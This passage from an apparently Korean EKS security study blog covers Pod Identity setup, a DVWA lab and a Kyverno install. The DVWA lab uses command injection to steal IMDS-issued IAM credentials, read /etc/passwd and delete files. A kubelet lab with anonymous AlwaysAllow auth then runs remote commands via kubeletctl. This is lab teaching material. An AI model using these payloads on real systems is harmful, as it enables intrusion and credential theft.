    "name": "AWS_WEB_IDENTITY_TOKEN_FILE",
    "value": "/var/run/secrets/eks.amazonaws.com/serviceaccount/token"
  }

Let’s take a look at this endpoint. We can use the aws eks describe-cluster command to get the OIDC Provider URL.

IDP=$(aws eks describe-cluster --name myeks --query cluster.identity.oidc.issuer --output text)

# Reach the Discovery Endpoint
curl -s $IDP/.well-known/openid-configuration | jq -r '.'

# In the above output, you can see the jwks (JSON Web Key set) field, which contains the set of keys containing the public keys used to verify JWT (JSON Web Token). 
# Refer to the documentation to get details about the JWKS properties.
curl -s $IDP/keys | jq -r '.'
[root@myeks-bastion ~]# IDP=$(aws eks describe-cluster --name myeks --query cluster.identity.oidc.issuer --output text)
[root@myeks-bastion ~]# 
[root@myeks-bastion ~]# curl -s $IDP/.well-known/openid-configuration | jq -r '.'
{
  "issuer": "<https://oidc.eks.ap-northeast-2.amazonaws.com/id/495D84FCD87A33717270BD807FDCCA3E>",
  "jwks_uri": "<https://oidc.eks.ap-northeast-2.amazonaws.com/id/495D84FCD87A33717270BD807FDCCA3E/keys>",
  "authorization_endpoint": "urn:kubernetes:programmatic_authorization",
  "response_types_supported": [
    "id_token"
  ],
  "subject_types_supported": [
    "public"
  ],
  "claims_supported": [
    "sub",
    "iss"
  ],
  "id_token_signing_alg_values_supported": [
    "RS256"
  ]
}
  1. aws eks describe-cluster 명령은 특정 EKS 클러스터의 상세 정보를 가져옵니다. 이 경우, -query 옵션을 사용하여 클러스터의 OIDC (OpenID Connect) Identity Provider URL을 추출합니다.
  2. 그런 다음 curl 명령을 사용하여 OIDC 설정을 조회합니다. 여기서는 .well-known/openid-configuration 엔드포인트에 접근하여, OIDC 서비스가 제공하는 메타데이터를 가져옵니다. 이 메타데이터에는 토큰 발행자(issuer), 공개 키 세트 위치(jwks_uri), 지원되는 응답 타입, 주제 타입, 지원되는 클레임, ID 토큰의 서명 알고리즘 등의 정보가 포함됩니다.

실습 EKS Pod Identity

위와같은 배경에서 출시했다고 합니다.

eks-pod-identity-agent 설치

#
ADDON=eks-pod-identity-agent
aws eks describe-addon-versions \\
    --addon-name $ADDON \\
    --kubernetes-version 1.28 \\
    --query "addons[].addonVersions[].[addonVersion, compatibilities[].defaultVersion]" \\
    --output text
v1.2.0-eksbuild.1
True
v1.1.0-eksbuild.1
False
v1.0.0-eksbuild.1
False

# 모니터링
watch -d kubectl get pod -A

# 설치
aws eks create-addon --cluster-name $CLUSTER_NAME --addon-name eks-pod-identity-agent
혹은
eksctl create addon --cluster $CLUSTER_NAME --name eks-pod-identity-agent --version 1.2.0

# 확인
eksctl get addon --cluster $CLUSTER_NAME
kubectl -n kube-system get daemonset eks-pod-identity-agent
kubectl -n kube-system get pods -l app.kubernetes.io/name=eks-pod-identity-agent
kubectl get ds -n kube-system eks-pod-identity-agent -o yaml | kubectl neat | yh
...
      containers: 
      - args: 
        - --port
        - "80"
        - --cluster-name
        - myeks
        - --probe-port
        - "2703"
        command: 
        - /go-runner
        - /eks-pod-identity-agent
        - server
      ....
      ports: 
        - containerPort: 80
          name: proxy
          protocol: TCP
        - containerPort: 2703
          name: probes-port
          protocol: TCP
      ...
        securityContext: 
          capabilities: 
            add: 
            - CAP_NET_BIND_SERVICE
      ...
      hostNetwork: true
...

# 네트워크 정보 확인
## EKS Pod Identity Agent uses the hostNetwork of the node and it uses port 80 and port 2703 on a link-local address on the node. 
## This address is 169.254.170.23 for IPv4 and [fd00:ec2::23] for IPv6 clusters.
for node in $N1 $N2 $N3; do ssh ec2-user@$node sudo ss -tnlp | grep eks-pod-identit; echo "-----";done
for node in $N1 $N2 $N3; do ssh ec2-user@$node sudo ip -c route; done
for node in $N1 $N2 $N3; do ssh ec2-user@$node sudo ip -c -br -4 addr; done
for node in $N1 $N2 $N3; do ssh ec2-user@$node sudo ip -c addr; done

add-on을 설치 해주고, 확인합니다. 데몬셋으로 설치가 되어있습니다.

AWS 콘솔에서 해당 Add-on 확인 가능합니다.

파드가 80포트로 되어있는 주소(링크 로컬 주소)로 찔러서 인증 인가를 처리할 것

pod-id-link-0 라고 하는 라우팅이 새로 생성되었습니다.

호스트 네트워크에 해당 네트워크 인터페이스가 추가 되었습니다.

중앙에 있는 저 파드입니다.

한 파드가 해당 데몬셋파드에 권한을 요청합니다.(해당 주소로) 그러면 저 데몬셋 파드가 AssumeRoleForPodIdentity를 사용해서 가져옵니다.

워커노드를 확인해보면, 제일 밑에 AssumeRoleForPodIdentity를 확인할 수 있습니다.

podidentityassociation 설정

# 
eksctl create podidentityassociation \\
--cluster $CLUSTER_NAME \\
--namespace default \\
--service-account-name s3-sa \\
--role-name s3-eks-pod-identity-role \\
--permission-policy-arns arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess \\
--region $AWS_REGION

# 확인
kubectl get sa

sa를 만들건데, 디폴트 네임스페이스에 S3 Policy를 매핑한다.

클라우드 포메이션에서 만들어진 해당 role을 확인합니다.

S3ReadOnlyAccess가 잘 들어가 있습니다.

신뢰 관계는 Pod 그리고 AssumeRole, TagSession이 들어가있는데 TagSession은 ABAC기능을 하기위해 들어가있습니다.

 

eksctl get podidentityassociation --cluster $CLUSTER_NAME
ASSOCIATION ARN											                                                      NAMESPACE	SERVICE ACCOUNT NAME	IAM ROLE ARN
arn:aws:eks:ap-northeast-2:911283464785:podidentityassociation/myeks/a-blaanudo8dc1dbddw	default		s3-sa			            arn:aws:iam::911283464785:role/s3-eks-pod-identity-role

aws eks list-pod-identity-associations --cluster-name $CLUSTER_NAME | jq
{
  "associations": [
    {
      "clusterName": "myeks",
      "namespace": "default",
      "serviceAccount": "s3-sa",
      "associationArn": "arn:aws:eks:ap-northeast-2:911283464785:podidentityassociation/myeks/a-pm07a3bg79bqa3p24",
      "associationId": "a-pm07a3bg79bqa3p24"
    }
  ]
}

# ABAC 지원을 위해 sts:Tagsession 추가
aws iam get-role --query 'Role.AssumeRolePolicyDocument' --role-name s3-eks-pod-identity-role | jq .
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Service": "pods.eks.amazonaws.com"
      },
      "Action": [
        "sts:AssumeRole",
        "sts:TagSession"
      ]
    }
  ]
}

다시 터미널에서 확인해보면 해당 role 확인이 가능한데,

default 네임 스페이스에 s3-sa SA가 매핑되어있는게 중요합니다.

eks 콘솔에서 확인하시면 매핑된 것 동일하게 확인 가능합니다.

콘솔에서 gui로 수동 생성도 가능합니다.

# 서비스어카운트, 파드 생성
kubectl create sa s3-sa

cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: eks-pod-identity
spec:
  serviceAccountName: s3-sa
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      command: ['sleep', '36000']
  restartPolicy: Never
  terminationGracePeriodSeconds: 0
EOF

#
kubectl get pod eks-pod-identity -o yaml | kubectl neat| yh
kubectl exec -it eks-pod-identity -- aws sts get-caller-identity --query Arn
kubectl exec -it eks-pod-identity -- aws s3 ls
kubectl exec -it eks-pod-identity -- env | grep AWS
WS_CONTAINER_CREDENTIALS_FULL_URI=http://169.254.170.23/v1/credentials
AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE=/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token
AWS_STS_REGIONAL_ENDPOINTS=regional
AWS_DEFAULT_REGION=ap-northeast-2
AWS_REGION=ap-northeast-2

# 토큰 정보 확인
kubectl exec -it eks-pod-identity -- ls /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/
kubectl exec -it eks-pod-identity -- cat /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token
[root@myeks-bastion ~]# kubectl exec -it eks-pod-identity -- aws sts get-caller-identity --query Arn
"arn:aws:sts::091xxxxxxx:assumed-role/s3-eks-pod-identity-role/eks-myeks-eks-pod-id-a3d80faa-7530-45e2-8756-83cf00457a6e"
[root@myeks-bastion ~]# kubectl exec -it eks-pod-identity -- aws s3 ls
2019-05-26 13:37:15 aws-cf-ap-northeast-2

[root@myeks-bastion ~]# kubectl get pod eks-pod-identity -o yaml | kubectl neat| yh
 volumes: 
  - name: eks-pod-identity-token
    projected: 
      sources: 
      - serviceAccountToken: 
          audience: pods.eks.amazonaws.com
          expirationSeconds: 86400
          path: eks-pod-identity-token

volume 부분을 확인해보면 pod-identity-token 부분이 들어가 있는 것을 확인할 수 있습니다.

[root@myeks-bastion ~]# kubectl exec -it eks-pod-identity -- env | grep AWS
AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE=/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token
AWS_STS_REGIONAL_ENDPOINTS=regional
AWS_DEFAULT_REGION=ap-northeast-2
AWS_REGION=ap-northeast-2
AWS_CONTAINER_CREDENTIALS_FULL_URI=http://169.254.170.23/v1/credentials

[root@myeks-bastion ~]# kubectl exec -it eks-pod-identity -- ls /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/
eks-pod-identity-token

[root@myeks-bastion ~]# kubectl exec -it eks-pod-identity -- cat /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token
eyJhbGciOiJSUzI1NiIsImtpZCI6I...

파드가 크레덴셜에 해당하는 url을 확인하고 요청하는 주소가 Env 제일 밑의 주소입니다.

토큰 정보도 역시 확인 가능합니다.


미흡한 인증/인가 설정에 따른 위험

EKS pod가 IMDS API를 악용하는 시나리오 - 링크 Github Youtube (최성욱님) 성코드석님 좋은 자료 감사합니다.

Kubelet 미흡한 인증/인가 설정 시 위험kubeletct 툴 - 링크 Youtube

kubelet API의 인증 인가 정보를 확인하고, kubelet이 사용하는 포트(10250)를 확인합니다.

mysql 배포

cat <<EOT > mysql.yaml
apiVersion: v1
kind: Secret
metadata:
  name: dvwa-secrets
type: Opaque
data:
  # s3r00tpa55
  ROOT_PASSWORD: czNyMDB0cGE1NQ==
  # dvwa
  DVWA_USERNAME: ZHZ3YQ==
  # p@ssword
  DVWA_PASSWORD: cEBzc3dvcmQ=
  # dvwa
  DVWA_DATABASE: ZHZ3YQ==
---
apiVersion: v1
kind: Service
metadata:
  name: dvwa-mysql-service
spec:
  selector:
    app: dvwa-mysql
    tier: backend
  ports:
    - protocol: TCP
      port: 3306
      targetPort: 3306
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: dvwa-mysql
spec:
  replicas: 1
  selector:
    matchLabels:
      app: dvwa-mysql
      tier: backend
  template:
    metadata:
      labels:
        app: dvwa-mysql
        tier: backend
    spec:
      containers:
        - name: mysql
          image: mariadb:10.1
          resources:
            requests:
              cpu: "0.3"
              memory: 256Mi
            limits:
              cpu: "0.3"
              memory: 256Mi
          ports:
            - containerPort: 3306
          env:
            - name: MYSQL_ROOT_PASSWORD
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: ROOT_PASSWORD
            - name: MYSQL_USER
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_USERNAME
            - name: MYSQL_PASSWORD
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_PASSWORD
            - name: MYSQL_DATABASE
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_DATABASE
EOT
kubectl apply -f mysql.yaml

dvwa 배포

cat <<EOT > dvwa.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: dvwa-config
data:
  RECAPTCHA_PRIV_KEY: ""
  RECAPTCHA_PUB_KEY: ""
  SECURITY_LEVEL: "low"
  PHPIDS_ENABLED: "0"
  PHPIDS_VERBOSE: "1"
  PHP_DISPLAY_ERRORS: "1"
---
apiVersion: v1
kind: Service
metadata:
  name: dvwa-web-service
spec:
  selector:
    app: dvwa-web
  type: ClusterIP
  ports:
    - protocol: TCP
      port: 80
      targetPort: 80
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: dvwa-web
spec:
  replicas: 1
  selector:
    matchLabels:
      app: dvwa-web
  template:
    metadata:
      labels:
        app: dvwa-web
    spec:
      containers:
        - name: dvwa
          image: cytopia/dvwa:php-8.1
          ports:
            - containerPort: 80
          resources:
            requests:
              cpu: "0.3"
              memory: 256Mi
            limits:
              cpu: "0.3"
              memory: 256Mi
          env:
            - name: RECAPTCHA_PRIV_KEY
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: RECAPTCHA_PRIV_KEY
            - name: RECAPTCHA_PUB_KEY
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: RECAPTCHA_PUB_KEY
            - name: SECURITY_LEVEL
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: SECURITY_LEVEL
            - name: PHPIDS_ENABLED
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: PHPIDS_ENABLED
            - name: PHPIDS_VERBOSE
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: PHPIDS_VERBOSE
            - name: PHP_DISPLAY_ERRORS
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: PHP_DISPLAY_ERRORS
            - name: MYSQL_HOSTNAME
              value: dvwa-mysql-service
            - name: MYSQL_DATABASE
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_DATABASE
            - name: MYSQL_USERNAME
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_USERNAME
            - name: MYSQL_PASSWORD
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_PASSWORD
EOT
kubectl apply -f dvwa.yaml

ingress 배포

cat <<EOT > dvwa-ingress.yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  annotations:
    alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
    alb.ingress.kubernetes.io/group.name: study
    alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
    alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
    alb.ingress.kubernetes.io/scheme: internet-facing
    alb.ingress.kubernetes.io/ssl-redirect: "443"
    alb.ingress.kubernetes.io/success-codes: 200-399
    alb.ingress.kubernetes.io/target-type: ip
  name: ingress-dvwa
spec:
  ingressClassName: alb
  rules:
  - host: dvwa.$MyDomain
    http:
      paths:
      - backend:
          service:
            name: dvwa-web-service
            port:
              number: 80
        path: /
        pathType: Prefix
EOT
kubectl apply -f dvwa-ingress.yaml
echo -e "DVWA Web <https://dvwa.$MyDomain>"

dvwa 도메인 접속이 되네요

Security Level은 low 상태입니다.

 

Command Injection 메뉴 클릭

# 명령 실행 가능 확인
8.8.8.8 ; echo ; hostname
8.8.8.8 ; echo ; whoami

# IMDSv2 토큰 복사해두기
8.8.8.8 ; curl -s -X PUT "<http://169.254.169.254/latest/api/token>" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
AQAEAMtmxxxxx1oTyzS0Q==

토큰이 그냥 나와줘버리네요 ;;

# EC2 Instance Profile (IAM Role) 이름 확인
8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token:AQAEAMtmxxxxx994O_OROT5vfiZqP5Ptsa5vR1oTyzS0Q==" –v <http://169.254.169.254/latest/meta-data/iam/security-credentials/>
eksctl-myeks-nodegroup-ng1-NodeInstanceRole-FjmxxxxGUR

인스턴스의 IAM role이 나와줘버리네요;

# EC2 Instance Profile (IAM Role) 자격증명탈취 
8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: AQAEAMtmjorAbixxxxxxsa5vR1oTyzS0Q==" –v <http://169.254.169.254/latest/meta-data/iam/security-credentials/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-FjmC1OJjEGUR>
{
  "Code" : "Success",
  "LastUpdated" : "2024-04-10T11:59:34Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIARKxxxxM2NWCDXR7NN",
  "SecretAccessKey" : "LfbPHLodL/kCC5xxxxxxxxRx4T",
  "Token" : "IQoJb3JpZ2luX2VjEPT//////////wEaDmFwLW5vcnRoZWFzdC0yIkcwRQIgHC7KZ+7uv82zhPCtrEYMNwoDqLXa0bX9D/rSsPoBerkCIQDEiSZCkvPpZAxtF6ncI5nzIJ6Nqp+/zIkHQxH18lbY9irMBQgtEAMaDDA5MTAyNjQ1MDA3NSIMxZTPTIdG+w1UEMsXKqkFNOEgjYV62+iuZEYBHnfTaj7KRs66dQdS/InLuwO383qHCZHVjMoneN8dSEmC5Uy76ZWrL72U5OAh3mIVsRIpqqt1JhDUwm3GaIIgwXxepWpWY6TQiJENpdMUW+hzxx0nVjN0PVCeBzsOSssssRgKlKcmD2aexab6Fdyv+UPYzEiA41JKCBrAd96iRlPMQzHRzWDp62DNXBnf10bdlLffYsjJzwq8o73e9caCzCo1r2uFKRvPur0folk4yAwNh/dJc3TTRlKHf/NsBXDQSQQCHO7TAShnuluDgnnjWl1LPrSIeFHu1oz0wFCFVfcFB6aL5zg0yLrvaXPnCOK",
  "Expiration" : "2024-04-10T18:21:00Z"
}
# 그외 다양한 명령 실행 가능
8.8.8.8; cat /etc/passwd
8.8.8.8; rm -rf /tmp/*

이젠 중요한 정보를 다 나오게 해버리네요;;

취약하네요 ;;

커멘드 인젝션의 소스 코드는 다음과 같습니다.

노드의 kubelet API 인증과 인가 관련 정보 확인

ssh ec2-user@$N1 cat /etc/kubernetes/kubelet/kubelet-config.json | jq
ssh ec2-user@$N1 cat /var/lib/kubelet/kubeconfig | yh

# 노드의 kubelet 사용 포트 확인 
ssh ec2-user@$N1 sudo ss -tnlp | grep kubelet
  

# 데모를 위해 awscli 파드 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: myawscli
spec:
  #serviceAccountName: my-sa
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      command: ['sleep', '36000']
  restartPolicy: Never
  terminationGracePeriodSeconds: 0
EOF

# 파드 사용
kubectl exec -it myawscli -- aws sts get-caller-identity --query Arn
kubectl exec -it myawscli -- aws s3 ls
kubectl exec -it myawscli -- aws ec2 describe-instances --region ap-northeast-2 --output table --no-cli-pager
kubectl exec -it myawscli -- aws ec2 describe-vpcs --region ap-northeast-2 --output table --no-cli-pager

다른 명령은 안되도 세번째 Ec2 describe-instances는 됩니다. node Role을 사용하기 때문

[myeks-bastion-2] kubeletct 설치 및 사용 - 링크

# 기존 kubeconfig 삭제
rm -rf ~/.kube

# 다운로드
curl -LO <https://github.com/cyberark/kubeletctl/releases/download/v1.11/kubeletctl_linux_amd64> && chmod a+x ./kubeletctl_linux_amd64 && mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl
kubeletctl version
kubeletctl help

# 노드1 IP 변수 지정
N1=<각자 자신의 노드1의 PrivateIP>
N1=192.168.1.81

# 노드1 IP로 Scan
kubeletctl scan --cidr $N1/32

# 노드1에 kubelet API 호출 시도
curl -k ; echo
Unauthorized

myawscli 파드가 작동하고 있는 노드에서하는게 좋습니다. .

curl: (7) Failed to connect to 192.168.2.41 port 10250 after 0 ms: Couldn't connect to server

이런 메세지가 나오네요 ㅜ

10250으로 하는 이유는 Kubelet으로 오픈된 포트입니다.

 

[myeks-bastion] → 노드1 접속 : kubelet-config.json 수정

# 노드1 접속
ssh ec2-user@$N3
-----------------------------
# 미흡한 인증/인가 설정으로 변경
sudo vi /etc/kubernetes/kubelet/kubelet-config.json
...
"authentication": {
    "anonymous": {
      "enabled": true
...
  },
  "authorization": {
    "mode": "AlwaysAllow",
...

# kubelet restart
sudo systemctl restart kubelet
systemctl status kubelet
-----------------------------

enabled 부분을 false에서 true로 변경해줍니다.

mode를 Webhook에서 AlwaysAllow로 바꿔줍니다.

수정 후 kubeletctl을 재시작 해줍니다.

[myeks-bastion-2] kubeletct 사용

# 파드 목록 확인
curl -s -k <https://$N1:10250/pods> | jq

# kubelet-config.json 설정 내용 확인
curl -k <https://$N1:10250/configz> | jq

# kubeletct 사용
# Return kubelet's configuration
kubeletctl -s $N1 configz | jq

# Get list of pods on the node
kubeletctl -s $N1 pods

# Scans for nodes with opened kubelet API > Scans for for all the tokens in a given Node
kubeletctl -s $N1 scan token

# 단, 아래 실습은 워커노드1에 myawscli 파드가 배포되어 있어야 실습이 가능. 물론 노드2~3에도 kubelet 수정하면 실습 가능함.
# kubelet API로 명령 실행 : <네임스페이스> / <파드명> / <컨테이너명>
curl -k <https://$N1:10250/run/default/myawscli/my-aws-cli> -d "cmd=aws --version"

# Scans for nodes with opened kubelet API > remote code execution on their containers
kubeletctl -s $N1 scan rce

# Run commands inside a container
kubeletctl -s $N1 exec "/bin/bash" -n default -p myawscli -c my-aws-cli
--------------------------------
export
aws --version
aws ec2 describe-vpcs --region ap-northeast-2 --output table --no-cli-pager
exit
--------------------------------

# Return resource usage metrics (such as container CPU, memory usage, etc.)
kubeletctl -s $N1 metrics

root@myeks-bastion-2 ~]# curl -k <https://$N1:10250/run/default/myawscli/my-aws-cli> -d "cmd=aws --version"

aws-cli/2.15.36 Python/3.11.8 Linux/5.10.213-201.855.amzn2.x86_64 docker/x86_64.amzn.2 prompt/off

[root@myeks-bastion-2 ~]# kubeletctl -s $N1 exec "/bin/bash" -n default -p myawscli -c my-aws-cli

bash-4.2# aws --version
aws --version

aws-cli/2.15.36 Python/3.11.8 Linux/5.10.213-201.855.amzn2.x86_64 docker/x86_64.amzn.2 prompt/off

kubelet의 API를 통해 노드에 배포된 컨테이너 내에서 명령을 실행할 수 있음을 보여줍니다.


Kyverno

Kyverno는 쿠버네티스(Kubernetes)를 위해 특별히 설계된 정책 엔진이에요. 쿠버네티스 환경에서 정책 기반의 관리를 간소화하고, 자동화하기 위한 목적으로 만들어졌습니다.

이 도구는 Cloud Native Computing Foundation (CNCF) 프로젝트의 일부로, 팀 간의 협업을 돕고 Policy-as-Code 방식을 실현할 수 있도록 해줍니다.

Kyverno의 주요 특징:

  • 정책을 코드로 관리: Kyverno를 사용하면 복잡한 스크립트나 추가적인 언어 없이도 YAML 형식으로 쿠버네티스 리소스에 대한 정책을 선언할 수 있습니다. 이는 학습 곡선을 크게 낮추고, 쿠버네티스 사용자들이 이미 익숙한 도구와 프로세스를 그대로 활용할 수 있게 해줍니다.
  • 리소스 검증, 변형 및 생성: Kyverno는 쿠버네티스 클러스터 내의 리소스를 검증(validate), 변형(mutate), 생성(generate)할 수 있는 규칙을 설정할 수 있게 해줍니다. 예를 들어, 특정 레이블이 포함된 Pod만 배포되도록 제한하거나, 리소스 생성 시 자동으로 추가 설정을 적용할 수 있습니다.
  • 소프트웨어 공급망 보안 강화: 컨테이너 이미지의 서명을 검증하거나, 이미지 메타데이터를 검사하여 보안을 강화할 수 있습니다. 이를 통해 더 안전한 쿠버네티스 환경을 구성할 수 있습니다.
  • 자가 서비스 리포트 및 예외 처리: 정책 위반 사항에 대한 리포트를 생성하고, 필요한 경우 정책 예외를 설정할 수 있습니다. 이는 관리자가 아닌 사용자들도 쉽게 정책 위반 사항을 확인하고 대응할 수 있게 해줍니다.
  • CI/CD 파이프라인 통합: Kyverno CLI를 활용하면 개발 과정에서부터 정책을 테스트하고 리소스를 검증할 수 있습니다. 이를 통해 실제 클러스터에 적용하기 전에 문제를 사전에 발견하고 수정할 수 있습니다.
  • 자유로운 정책 관리: git, kustomize와 같은 이미 친숙한 도구들을 사용하여 정책을 코드 형태로 관리할 수 있어, 버전 관리와 협업이 용이해집니다.

Kyverno 사용 사례:

  • 네임스페이스 간 설정 동기화: 여러 네임스페이스에 걸쳐 동일한 리소스 설정을 유지해야 할 경우, Kyverno의 정책을 통해 이를 자동화할 수 있습니다.
  • 관리자가 아닌 사용자에 대한 정책 적용 및 제어: 특정 사용자 그룹이나 서비스 계정에 대해 세분화된 정책을 적용하여 리소스 사용을 제한하거나 특정 동작을 강제할 수 있습니다.
  • 보안 표준 및 컴플라이언스 준수: 조직 내외부의 보안 표준이나 컴플라이언스 요구 사항을 충족하기 위한 정책을 구현하고 강제할 수 있습니다.

Kyverno를 통해 쿠버네티스 클러스터의 관리와 보안을 한층 더 강화하고, 정책 기반의 자동화된 환경을 구성할 수 있습니다.

동작 : Dynamic Admission Control 로 실행, Mutating/Validating admission 에서 동작하여 허용/거부 결과 반환

쿠버네티스(Kubernetes) 환경에서 정책 기반 관리를 담당하는 Kyverno의 작동 방식을 보여줍니다.

여기서, Kyverno는 쿠버네티스 클러스터에 정책을 적용하여 리소스들이 특정 기준과 규칙을 따르도록 하는데 사용됩니다.

  1. Webhook Server: 쿠버네티스 API 서버에서 오는 AdmissionReview 요청을 처리하고, 이러한 요청들을 엔진으로 전달합니다. 여기서 'AdmissionReview'는 쿠버네티스가 Pod와 같은 리소스를 생성하거나 업데이트할 때 실행되는 API 요청을 말합니다.
  2. Webhook Controller: 설치된 정책을 모니터링하고, 해당 정책에 일치하는 리소스만 요청하도록 웹훅을 동적으로 구성합니다.
  3. Engine: 정책을 실제로 처리하는 중앙 처리 단위입니다. 예를 들어, 요청된 리소스가 정책을 준수하는지 검증하거나, 요청된 리소스에 변경을 가하는 등의 작업을 수행합니다.
  4. Cert Renewer: 웹훅이 사용하는 인증서를 감시하고 갱신하는 역할을 합니다. 이 인증서는 쿠버네티스 시크릿으로 저장됩니다.
  5. Background Controller: 이미 존재하는 리소스에 대해 변경을 가하거나 새 리소스를 생성하는 정책들을 처리합니다. 이를 통해 주기적인 업데이트 요청을 조정하고, 관련 정책을 실행합니다.
  6. Report Controllers: 정책 위반 사항이나 정책 준수 상태를 보고하는 Policy Reports를 생성하고 조정합니다. 이 보고서들은 Admission Reports 및 Background Scan Reports와 같은 중간 리소스를 기반으로 합니다.
  7. PolicyExceptions: 특정 리소스가 정책을 따르지 않아도 되는 예외 상황을 관리합니다.

이 모든 과정은 쿠버네티스의 Admission Control 프로세스와 연동되어 리소스의 생성과 변경이 클러스터의 정책과 일치하는지를 실시간으로 검증하고, 필요한 경우 자동으로 조정을 수행합니다.

Kyverno를 통해 개발자와 운영 팀은 쿠버네티스 클러스터의 보안 및 운영 정책을 더욱 체계적으로 관리할 수 있습니다.

설치 - HelmChart

# 설치
# EKS 설치 시 참고 <https://kyverno.io/docs/installation/platform-notes/#notes-for-eks-users>
# 모니터링 참고 <https://kyverno.io/docs/monitoring/>
cat << EOF > kyverno-value.yaml
config:
  resourceFiltersExcludeNamespaces: [ kube-system ]

admissionController:
  serviceMonitor:
    enabled: true

backgroundController:
  serviceMonitor:
    enabled: true

cleanupController:
  serviceMonitor:
    enabled: true

reportsController:
  serviceMonitor:
    enabled: true
EOF
kubectl create ns kyverno
helm repo add kyverno <https://kyverno.github.io/kyverno/>
helm install kyverno kyverno/kyverno --version 3.2.0-rc.3 -f kyverno-value.yaml -n kyverno

Kyverno를 설치해줍니다.

config:
  resourceFiltersExcludeNamespaces: [ kube-system ]

해당 Namespaces에 있는 리소스들은 배제한다는 의미 입니다.

# 확인
kubectl get all -n kyverno
kubectl get crd | grep kyverno
kubectl get pod,svc -n kyverno

kyverno에 의해서 생성된 crd와 각종 컨트롤러, 리소스들을 확인합니다.

# (참고) 기본 인증서 확인 <https://kyverno.io/docs/installation/customization/#default-certificates>
# step-cli 설치 <https://smallstep.com/docs/step-cli/installation/>
wget <https://dl.smallstep.com/cli/docs-cli-install/latest/step-cli_amd64.rpm>
sudo rpm -i step-cli_amd64.rpm

#
kubectl -n kyverno get secret
kubectl -n kyverno get secret kyverno-svc.kyverno.svc.kyverno-tls-ca -o jsonpath='{.data.tls\\.crt}' | base64 -d
kubectl -n kyverno get secret kyverno-svc.kyverno.svc.kyverno-tls-ca -o jsonpath='{.data.tls\\.crt}' | base64 -d | step certificate inspect --short
X.509v3 Root CA Certificate (RSA 2048) [Serial: 0]
  Subject:     *.kyverno.svc
  Issuer:      *.kyverno.svc
  Valid from:  2024-04-07T06:05:52Z
          to:  2025-04-07T07:05:52Z

#
kubectl get validatingwebhookconfiguration kyverno-policy-validating-webhook-cfg -o jsonpath='{.webhooks[0].clientConfig.caBundle}' | base64 -d | step certificate inspect --short
X.509v3 Root CA Certificate (RSA 2048) [Serial: 0]
  Subject:     *.kyverno.svc
  Issuer:      *.kyverno.svc
  Valid from:  2024-04-07T06:05:52Z
          to:  2025-04-07T07:05:52Z

[root@myeks-bastion ~]# kubectl -n kyverno get secret kyverno-svc.kyverno.svc.kyverno-tls-ca -o jsonpath='{.data.tls\\.crt}' | base64 -d | step certificate inspect --short

X.509v3 Root CA Certificate (RSA 2048) [Serial: 0]
  Subject:     *.kyverno.svc
  Issuer:      *.kyverno.svc
  Valid from:  2024-04-10T17:05:35Z
          to:  2025-04-10T18:05:35Z
[root@myeks-bastion ~]# kubectl get validatingwebhookconfiguration kyverno-policy-validating-webhook-cfg -o jsonpath='{.webhooks[0].clientConfig.caBundle}' | base64 -d | step certificate inspect --short
X.509v3 Root CA Certificate (RSA 2048) [Serial: 0]
  Subject:     *.kyverno.svc
  Issuer:      *.kyverno.svc
  Valid from:  2024-04-10T17:05:35Z
          to:  2025-04-10T18:05:35Z

kubectl 명령어를 사용하여 kyverno 네임스페이스에 있는 **secrets**을 조회합니다. 여기서 **kyverno**는 쿠버네티스의 정책 기반 관리를 위한 도구로서, 특정 정책들을 쿠버네티스 클러스터에 적용합니다.

kubectl 명령을 통해 secrets 중 하나에서 TLS 인증서를 가져옵니다. 이 인증서는 Base64 인코딩으로 저장되어 있기 때문에 디코딩 후에 step-cli의 certificate inspect 명령을 사용하여 인증서의 상세 정보를 조회합니다. 여기서 확인할 수 있는 정보에는 인증서의 발급 대상, 발급 기관, 유효 기간 등이 포함됩니다.

마지막으로 사용자는 **kyverno-policy-validating-webhook-cfg**라는 유효성 검사 웹훅 구성의 CA 인증서 번들을 조회하고, 이를 역시 step-cli를 사용하여 확인합니다.

